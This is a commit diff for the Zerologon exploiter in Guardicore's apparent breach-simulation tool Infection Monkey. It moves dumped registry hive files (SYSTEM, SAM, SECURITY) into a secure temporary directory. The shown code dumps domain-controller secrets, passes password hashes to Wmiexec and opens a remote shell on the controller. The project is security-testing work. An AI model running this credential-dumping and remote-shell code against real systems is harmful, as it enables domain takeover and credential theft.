Merge pull request #1143 from guardicore/zerologon-tmp-dir
Create a temporary directory for zerologon artifacts
This commit is contained in:
commit
341af227b7
|
@ -24,6 +24,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||||
collection time. #1102
|
collection time. #1102
|
||||||
- Changed default BB test suite: if `--run-performance-tests` flag is not specified,
|
- Changed default BB test suite: if `--run-performance-tests` flag is not specified,
|
||||||
performance tests are skipped.
|
performance tests are skipped.
|
||||||
|
- Zerologon exploiter writes runtime artifacts to a secure temporary directory
|
||||||
|
instead of $HOME. #1143
|
||||||
|
|
||||||
### Fixed
|
### Fixed
|
||||||
- Attempted to delete a directory when monkey config reset was called. #1054
|
- Attempted to delete a directory when monkey config reset was called. #1054
|
||||||
|
|
|
@ -7,6 +7,7 @@ https://github.com/risksense/zerologon/.
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
import tempfile
|
||||||
from binascii import unhexlify
|
from binascii import unhexlify
|
||||||
from typing import Dict, List, Optional, Tuple
|
from typing import Dict, List, Optional, Tuple
|
||||||
|
|
||||||
|
@ -39,6 +40,10 @@ class ZerologonExploiter(HostExploiter):
|
||||||
self.exploit_info["credentials"] = {}
|
self.exploit_info["credentials"] = {}
|
||||||
self.exploit_info["password_restored"] = None
|
self.exploit_info["password_restored"] = None
|
||||||
self._extracted_creds = {}
|
self._extracted_creds = {}
|
||||||
|
self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon")
|
||||||
|
|
||||||
|
def __del__(self):
|
||||||
|
self._secrets_dir.cleanup()
|
||||||
|
|
||||||
def _exploit_host(self) -> bool:
|
def _exploit_host(self) -> bool:
|
||||||
self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host)
|
self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host)
|
||||||
|
@ -302,9 +307,9 @@ class ZerologonExploiter(HostExploiter):
|
||||||
options = OptionsForSecretsdump(
|
options = OptionsForSecretsdump(
|
||||||
dc_ip=self.dc_ip,
|
dc_ip=self.dc_ip,
|
||||||
just_dc=False,
|
just_dc=False,
|
||||||
system=os.path.join(os.path.expanduser("~"), "monkey-system.save"),
|
system=os.path.join(self._secrets_dir.name, "monkey-system.save"),
|
||||||
sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"),
|
sam=os.path.join(self._secrets_dir.name, "monkey-sam.save"),
|
||||||
security=os.path.join(os.path.expanduser("~"), "monkey-security.save"),
|
security=os.path.join(self._secrets_dir.name, "monkey-security.save"),
|
||||||
)
|
)
|
||||||
|
|
||||||
dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options)
|
dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options)
|
||||||
|
@ -331,7 +336,11 @@ class ZerologonExploiter(HostExploiter):
|
||||||
)
|
)
|
||||||
|
|
||||||
wmiexec = Wmiexec(
|
wmiexec = Wmiexec(
|
||||||
ip=self.dc_ip, username=username, hashes=":".join(user_pwd_hashes), domain=self.dc_ip
|
ip=self.dc_ip,
|
||||||
|
username=username,
|
||||||
|
hashes=":".join(user_pwd_hashes),
|
||||||
|
domain=self.dc_ip,
|
||||||
|
secrets_dir=self._secrets_dir,
|
||||||
)
|
)
|
||||||
|
|
||||||
remote_shell = wmiexec.get_remote_shell()
|
remote_shell = wmiexec.get_remote_shell()
|
||||||
|
@ -372,7 +381,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
def remove_locally_saved_HKLM_keys(self) -> None:
|
def remove_locally_saved_HKLM_keys(self) -> None:
|
||||||
for name in ["system", "sam", "security"]:
|
for name in ["system", "sam", "security"]:
|
||||||
path = os.path.join(os.path.expanduser("~"), f"monkey-{name}.save")
|
path = os.path.join(self._secrets_dir.name, f"monkey-{name}.save")
|
||||||
try:
|
try:
|
||||||
os.remove(path)
|
os.remove(path)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
|
|
|
@ -58,7 +58,7 @@ LOG = logging.getLogger(__name__)
|
||||||
class RemoteShell(cmd.Cmd):
|
class RemoteShell(cmd.Cmd):
|
||||||
CODEC = sys.stdout.encoding
|
CODEC = sys.stdout.encoding
|
||||||
|
|
||||||
def __init__(self, share, win32Process, smbConnection, outputFilename):
|
def __init__(self, share, win32Process, smbConnection, outputFilename, secrets_dir):
|
||||||
cmd.Cmd.__init__(self)
|
cmd.Cmd.__init__(self)
|
||||||
self.__share = share
|
self.__share = share
|
||||||
self.__output = "\\" + outputFilename
|
self.__output = "\\" + outputFilename
|
||||||
|
@ -68,6 +68,7 @@ class RemoteShell(cmd.Cmd):
|
||||||
self.__transferClient = smbConnection
|
self.__transferClient = smbConnection
|
||||||
self.__pwd = str("C:\\")
|
self.__pwd = str("C:\\")
|
||||||
self.__noOutput = False
|
self.__noOutput = False
|
||||||
|
self.__secrets_dir = secrets_dir
|
||||||
|
|
||||||
# We don't wanna deal with timeouts from now on.
|
# We don't wanna deal with timeouts from now on.
|
||||||
if self.__transferClient is not None:
|
if self.__transferClient is not None:
|
||||||
|
@ -83,7 +84,7 @@ class RemoteShell(cmd.Cmd):
|
||||||
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
|
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
|
||||||
drive, tail = ntpath.splitdrive(newPath)
|
drive, tail = ntpath.splitdrive(newPath)
|
||||||
filename = ntpath.basename(tail)
|
filename = ntpath.basename(tail)
|
||||||
local_file_path = os.path.join(os.path.expanduser("~"), "monkey-" + filename)
|
local_file_path = os.path.join(self.__secrets_dir.name, "monkey-" + filename)
|
||||||
fh = open(local_file_path, "wb")
|
fh = open(local_file_path, "wb")
|
||||||
LOG.info("Downloading %s\\%s" % (drive, tail))
|
LOG.info("Downloading %s\\%s" % (drive, tail))
|
||||||
self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write)
|
self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write)
|
||||||
|
|
|
@ -61,13 +61,16 @@ LOG = logging.getLogger(__name__)
|
||||||
class Wmiexec:
|
class Wmiexec:
|
||||||
OUTPUT_FILENAME = "__" + str(time.time())
|
OUTPUT_FILENAME = "__" + str(time.time())
|
||||||
|
|
||||||
def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$"):
|
def __init__(
|
||||||
|
self, ip, username, hashes, password="", domain="", share="ADMIN$", secrets_dir=None
|
||||||
|
):
|
||||||
self.__ip = ip
|
self.__ip = ip
|
||||||
self.__username = username
|
self.__username = username
|
||||||
self.__password = password
|
self.__password = password
|
||||||
self.__domain = domain
|
self.__domain = domain
|
||||||
self.__lmhash, self.__nthash = hashes.split(":")
|
self.__lmhash, self.__nthash = hashes.split(":")
|
||||||
self.__share = share
|
self.__share = share
|
||||||
|
self.__secrets_dir = secrets_dir
|
||||||
self.shell = None
|
self.shell = None
|
||||||
|
|
||||||
def connect(self):
|
def connect(self):
|
||||||
|
@ -107,7 +110,7 @@ class Wmiexec:
|
||||||
self.connect()
|
self.connect()
|
||||||
win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
|
win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
|
||||||
self.shell = RemoteShell(
|
self.shell = RemoteShell(
|
||||||
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME
|
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME, self.__secrets_dir
|
||||||
)
|
)
|
||||||
return self.shell
|
return self.shell
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue